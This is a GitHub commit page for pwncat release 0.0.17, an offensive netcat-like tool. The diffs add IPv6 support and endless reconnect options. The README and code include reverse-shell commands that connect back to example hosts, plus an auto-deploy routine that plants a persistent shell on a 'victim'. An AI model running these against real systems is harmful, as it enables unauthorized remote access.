Skip to content

Commit

Permalink
Merge pull request #73 from cytopia/release-0.0.17
Browse files Browse the repository at this point in the history
Release 0.0.17
  • Loading branch information
cytopia authored May 13, 2020
2 parents 203d088 + 179b301 commit ddec6c5
Show file tree
Hide file tree
Showing 15 changed files with 466 additions and 224 deletions.
12 changes: 12 additions & 0 deletions CHANGELOG.md
Original file line number Diff line number Diff line change
Expand Up @@ -4,6 +4,18 @@
## Unreleased


## Release 0.0.17-alpha

### Fixed
- CI: Fixed test frameworks for error checking

### Added
- Feature: IPv6 support (`-6`)

#### Changed
- Changed `--rebind` to allow omitting an argument for endless connect retries


## Release 0.0.16-alpha

### Added
Expand Down
34 changes: 20 additions & 14 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -134,7 +134,7 @@
</tbody>
<table>

> <sup>[1] <a href="https://cytopia.github.io/pwncat/pwncat.type.html">mypy type coverage</a> <strong>(fully typed: 94.07%)</strong></sup><br/>
> <sup>[1] <a href="https://cytopia.github.io/pwncat/pwncat.type.html">mypy type coverage</a> <strong>(fully typed: 93.94%)</strong></sup><br/>
> <sup>[2] Windows builds are currently only failing, because they are simply stuck on GitHub actions.</sup>

Expand Down Expand Up @@ -187,7 +187,7 @@ pwncat -l -e '/bin/bash' 8080 -k
```
```bash
# Reverse shell (Ctrl+c proof: reconnects back to you)
pwncat -e '/bin/bash' example.com 4444 --recon -1 --recon-wait 1
pwncat -e '/bin/bash' example.com 4444 --reconn --recon-wait 1
```
```bash
# Reverse UDP shell (Ctrl+c proof: reconnects back to you)
Expand Down Expand Up @@ -253,7 +253,7 @@ pwncat -R 10.0.0.1:4444 everythingcli.org 3306 -u
| Self-injecting || :x: | :x: |
| IP ToS | :x: || :x: |
| IPv4 ||||
| IPv6 | * |||
| IPv6 | |||
| Unix domain sockets | :x: |||
| TCP ||||
| UDP ||||
Expand Down Expand Up @@ -398,6 +398,7 @@ mode arguments:
target machine via the positional arguments.
optional arguments:
-6 Use IPv6 instead of IPv4.
-e cmd, --exec cmd Execute shell command. Only for connect or listen mode.
-C lf, --crlf lf Specify, 'lf', 'crlf' or 'cr' to always force replacing
line endings for input and outout accordingly. Specify
Expand Down Expand Up @@ -476,10 +477,13 @@ advanced arguments:
disconnected or the connection is unterrupted otherwise.
(default: server will quit after connection is gone)
--rebind x Listen mode (TCP and UDP):
--rebind [x] Listen mode (TCP and UDP):
If the server is unable to bind, it will re-initialize
itself x many times before giving up. Use -1 to re-init
endlessly. (default: fail after first unsuccessful try).
itself x many times before giving up. Omit the
quantifier to rebind endlessly or specify a positive
integer for how many times to rebind before giving up.
See --rebind-robin for an interesting use-case.
(default: fail after first unsuccessful try).
--rebind-wait s Listen mode (TCP and UDP):
Wait x seconds between re-initialization. (default: 1)
Expand All @@ -492,10 +496,12 @@ advanced arguments:
Set --rebind to at least the number of ports to probe +1
This option requires --rebind to be specified.
--reconn x Connect mode / Zero-I/O mode (TCP only):
--reconn [x] Connect mode / Zero-I/O mode (TCP only):
If the remote server is not reachable or the connection
is interrupted, the client will connect again x many
times before giving up. Use -1 to retry endlessly.
times before giving up. Omit the quantifier to retry
endlessly or specify a positive integer for how many
times to retry before giving up.
(default: quit if the remote is not available or the
connection was interrupted)
This might be handy for stable TCP reverse shells ;-)
Expand Down Expand Up @@ -634,10 +640,10 @@ In other words, the client will keep trying to connect to the specified server u
# The client
# --exec # Provide this executable
# --nodns # Keep the noise down and don't resolve hostnames
# --reconn # Automatically reconnect back to you indefinitely
# -reconn # Automatically reconnect back to you indefinitely
# --reconn-wait # If connection is lost, connect back to you every 2 seconds

pwncat --exec /bin/bash --nodns --reconn -1 --reconn-wait 2 10.0.0.1 4444
pwncat --exec /bin/bash --nodns --reconn --reconn-wait 2 10.0.0.1 4444
```

### Unbreakable UDP reverse shell
Expand Down Expand Up @@ -703,7 +709,7 @@ You will then see something like this:
[PWNCAT CnC] Creating tmpfile: /tmp/tmpgHg7YT
[PWNCAT CnC] Uploading: /home/cytopia/tmp/pwncat/bin/pwncat -> /tmp/tmpgHg7YT (3422/3422)
[PWNCAT CnC] Decoding: /tmp/tmpgHg7YT -> /tmp/tmp3CJ8Us
Starting pwncat rev shell: nohup /usr/bin/python /tmp/tmp3CJ8Us --exec /bin/bash --reconn -1 --reconn-wait 1 10.0.0.1 4445 &
Starting pwncat rev shell: nohup /usr/bin/python /tmp/tmp3CJ8Us --exec /bin/bash --reconn --reconn-wait 1 10.0.0.1 4445 &
```
And you are set. You can now start another listener locally at `4445` (again, it will connect back to you endlessly, so it is not required to start the listener first).
```bash
Expand Down Expand Up @@ -833,7 +839,7 @@ tail -fn50 comm.txt
| | | | pwncat | | | MySQL |
| 56.0.0.1 | | | 72.0.0.1:3306 | | | 10.0.0.1:3306 |
+-----------------+ | +-----------------+ | +-----------------+
pwncat -l 4444 | pwncat --reconn -1 \ |
pwncat -l 4444 | pwncat --reconn \ |
| -R 56.0.0.1:4444 \ |
| 10.0.0.1 3306 |
```
Expand All @@ -854,7 +860,7 @@ tail -fn50 comm.txt
| | | | pwncat | | | MySQL |
| 56.0.0.1 | | | 72.0.0.1:3306 | | | 10.0.0.1:3306 |
+-----------------+ | +-----------------+ | +-----------------+
pwncat -u -l 53 | pwncat -u --reconn -1 \ |
pwncat -u -l 53 | pwncat -u --reconn \ |
| -R 56.0.0.1:4444 \ |
| 10.0.0.1 3306 |
```
Expand All @@ -875,7 +881,7 @@ the client (e.g.: in case of a reverse shell) to probe outbound ports endlessly.
# --reconn-wait # Reconnect every 0.1 seconds
# --reconn-robin # Use these ports to probe for outbount connections

pwncat --exec /bin/bash --reconn -1 --reconn-wait 0.1 --reconn-robin 54-1024 10 10.0.0.1 53
pwncat --exec /bin/bash --reconn --reconn-wait 0.1 --reconn-robin 54-1024 10 10.0.0.1 53
```

Once the client is up and running, either use raw sockets to check for inbound traffic or use
Expand Down
74 changes: 51 additions & 23 deletions bin/pwncat
Original file line number Diff line number Diff line change
Expand Up @@ -91,7 +91,7 @@ if os.name != "nt":

APPNAME = "pwncat"
APPREPO = "https://github.com/cytopia/pwncat"
VERSION = "0.0.16-alpha"
VERSION = "0.0.17-alpha"

# Default timeout for timeout-based sys.stdin and socket.recv
TIMEOUT_READ_STDIN = 0.1
Expand Down Expand Up @@ -272,6 +272,12 @@ class DsSock(object):
"""`bool`: Determines if we resolve hostnames or not."""
return self.__nodns

@property
def ipv6(self):
# type: () -> bool
"""`bool`: Determines if we use IPv6 instead of IPv4."""
return self.__ipv6

@property
def udp(self):
# type: () -> bool
Expand All @@ -281,17 +287,19 @@ class DsSock(object):
# --------------------------------------------------------------------------
# Constructor
# --------------------------------------------------------------------------
def __init__(self, bufsize, backlog, recv_timeout, nodns, udp):
# type: (int, int, Optional[float], bool, bool) -> None
def __init__(self, bufsize, backlog, recv_timeout, nodns, ipv6, udp):
# type: (int, int, Optional[float], bool, bool, bool) -> None
assert type(bufsize) is int, type(bufsize)
assert type(backlog) is int, type(backlog)
assert type(recv_timeout) is float, type(recv_timeout)
assert type(nodns) is bool, type(nodns)
assert type(ipv6) is bool, type(ipv6)
assert type(udp) is bool, type(udp)
self.__bufsize = bufsize
self.__backlog = backlog
self.__recv_timeout = recv_timeout
self.__nodns = nodns
self.__ipv6 = ipv6
self.__udp = udp


Expand All @@ -313,11 +321,11 @@ class DsIONetworkSock(DsSock):
# --------------------------------------------------------------------------
# Constructor
# --------------------------------------------------------------------------
def __init__(self, bufsize, backlog, recv_timeout, recv_timeout_retry, nodns, udp):
# type: (int, int, Optional[float], int, bool, bool) -> None
def __init__(self, bufsize, backlog, recv_timeout, recv_timeout_retry, nodns, ipv6, udp):
# type: (int, int, Optional[float], int, bool, bool, bool) -> None
assert type(recv_timeout_retry) is int, type(recv_timeout_retry)
self.__recv_timeout_retry = recv_timeout_retry
super(DsIONetworkSock, self).__init__(bufsize, backlog, recv_timeout, nodns, udp)
super(DsIONetworkSock, self).__init__(bufsize, backlog, recv_timeout, nodns, ipv6, udp)


# -------------------------------------------------------------------------------------------------
Expand Down Expand Up @@ -880,7 +888,8 @@ class Sock(object):
# we can firstly/finally set its addr/port in order
# to send data back to it (see send() function)
if self.__options.udp:
self.__remote_addr, self.__remote_port = addr
self.__remote_addr = addr[0]
self.__remote_port = addr[1]
self.__log.debug("Client connected: %s:%d", self.__remote_addr, self.__remote_port)

# [4/5] Upstream (server or client) is gone.
Expand Down Expand Up @@ -916,16 +925,18 @@ class Sock(object):
Raises:
socket.gaierror: If hostname cannot be resolved.
"""
family = socket.AF_INET
family = socket.AF_INET6 if self.__options.ipv6 else socket.AF_INET
socktype = socket.SOCK_DGRAM if self.__options.udp else socket.SOCK_STREAM
proto = socket.SOL_UDP if self.__options.udp else socket.SOL_TCP
flags = 0

# Quickly do wildcards for listening addresses
if host is None:
if family == socket.AF_INET:
self.__log.debug("Resolving hostname not required, using wildcard: 0.0.0.0")
return "0.0.0.0"
if family == socket.AF_INET6:
self.__log.debug("Resolving hostname not required, using wildcard: ::")
return "::"

if self.__options.nodns:
Expand Down Expand Up @@ -1005,18 +1016,20 @@ class Sock(object):
self.__close("sock", sock)
return False

family = socket.AF_INET6 if self.__options.ipv6 else socket.AF_INET

# [UDP 3/4] There is no listen or accept for UDP
if self.__options.udp:
self.__conn = sock
self.__log.info("Listening on %s (family %d/UDP, port %d)", addr, socket.AF_INET, port)
self.__log.info("Listening on %s (family %d/UDP, port %d)", addr, family, port)

# [TCP 3/4] Requires listen and accept
else:
# Listen
if not self.__listen(sock):
self.__close("sock", sock)
return False
self.__log.info("Listening on %s (family %d/TCP, port %d)", addr, socket.AF_INET, port)
self.__log.info("Listening on %s (family %d/TCP, port %d)", addr, family, port)
# Accept
try:
conn = self.__accept(sock)
Expand Down Expand Up @@ -1081,15 +1094,17 @@ class Sock(object):
Raises:
socket.error: If socket cannot be created.
"""
family_sock = socket.AF_INET6 if self.__options.ipv6 else socket.AF_INET
family_name = "IPv6" if self.__options.ipv6 else "IPv4"
try:
if self.__options.udp:
self.__log.debug("Creating UDP socket")
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
self.__log.debug("Creating %s UDP socket", family_name)
sock = socket.socket(family_sock, socket.SOCK_DGRAM)
else:
self.__log.debug("Creating TCP socket")
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.__log.debug("Creating %s TCP socket", family_name)
sock = socket.socket(family_sock, socket.SOCK_STREAM)
except socket.error as error:
msg = "Failed to create the socket: {}".format(error)
msg = "Failed to create {} socket: {}".format(family_name, error)
self.__log.error(msg)
raise socket.error(msg)
# Get around the "[Errno 98] Address already in use" error, if the socket is still in wait
Expand Down Expand Up @@ -2491,7 +2506,7 @@ class CNCAutoDeploy(CNC):
command.append(self.python)
command.append(remote_path)
command.append("--exec {}".format(binary))
command.append("--reconn -1")
command.append("--reconn")
command.append("--reconn-wait 1")
command.append(host)
command.append(port)
Expand Down Expand Up @@ -2834,6 +2849,9 @@ The connection to your listening server is given by
target machine via the positional arguments.
""",
)
optional.add_argument(
"-6", dest="ipv6", action="store_true", default=False, help="Use IPv6 instead of IPv4.",
)
optional.add_argument(
"-e",
"--exec",
Expand Down Expand Up @@ -2894,8 +2912,8 @@ color on Windows by default. (default: auto)
cnc.add_argument(
"--self-inject",
metavar="cmd:host:port",
type=_args_check_upload_myself,
default=None,
type=_args_check_upload_myself,
help="""Listen mode (TCP only):
If you are about to inject a reverse shell onto the
victim machine (via php, bash, nc, ncat or similar),
Expand Down Expand Up @@ -2990,12 +3008,16 @@ disconnected or the connection is unterrupted otherwise.
advanced.add_argument(
"--rebind",
metavar="x",
nargs="?",
default=0,
type=int,
help="""Listen mode (TCP and UDP):
If the server is unable to bind, it will re-initialize
itself x many times before giving up. Use -1 to re-init
endlessly. (default: fail after first unsuccessful try).
itself x many times before giving up. Omit the
quantifier to rebind endlessly or specify a positive
integer for how many times to rebind before giving up.
See --rebind-robin for an interesting use-case.
(default: fail after first unsuccessful try).
""",
)
Expand Down Expand Up @@ -3027,12 +3049,14 @@ This option requires --rebind to be specified.
advanced.add_argument(
"--reconn",
metavar="x",
nargs="?",
default=0,
type=int,
help="""Connect mode / Zero-I/O mode (TCP only):
If the remote server is not reachable or the connection
is interrupted, the client will connect again x many
times before giving up. Use -1 to retry endlessly.
times before giving up. Omit the quantifier to retry
endlessly or specify a positive integer for how many
times to retry before giving up.
(default: quit if the remote is not available or the
connection was interrupted)
This might be handy for stable TCP reverse shells ;-)
Expand Down Expand Up @@ -3212,17 +3236,21 @@ def main():
host = args.hostname
ports = [args.port]

reconn = -1 if args.reconn is None else args.reconn
rebind = -1 if args.rebind is None else args.rebind

# Set pwncat options
sock_opts = DsIONetworkSock(
RECV_BUFSIZE,
LISTEN_BACKLOG,
TIMEOUT_RECV_SOCKET,
TIMEOUT_RECV_SOCKET_RETRY,
args.nodns,
args.ipv6,
args.udp,
)
srv_opts = DsIONetworkSrv(args.keep_open, args.rebind, args.rebind_wait, args.rebind_robin)
cli_opts = DsIONetworkCli(args.reconn, args.reconn_wait, args.reconn_robin)
srv_opts = DsIONetworkSrv(args.keep_open, rebind, args.rebind_wait, args.rebind_robin)
cli_opts = DsIONetworkCli(reconn, args.reconn_wait, args.reconn_robin)
# TODO:
# "wait": args.wait,
# "ping_init": args.ping_init,
Expand Down
Loading

0 comments on commit ddec6c5

Please sign in to comment.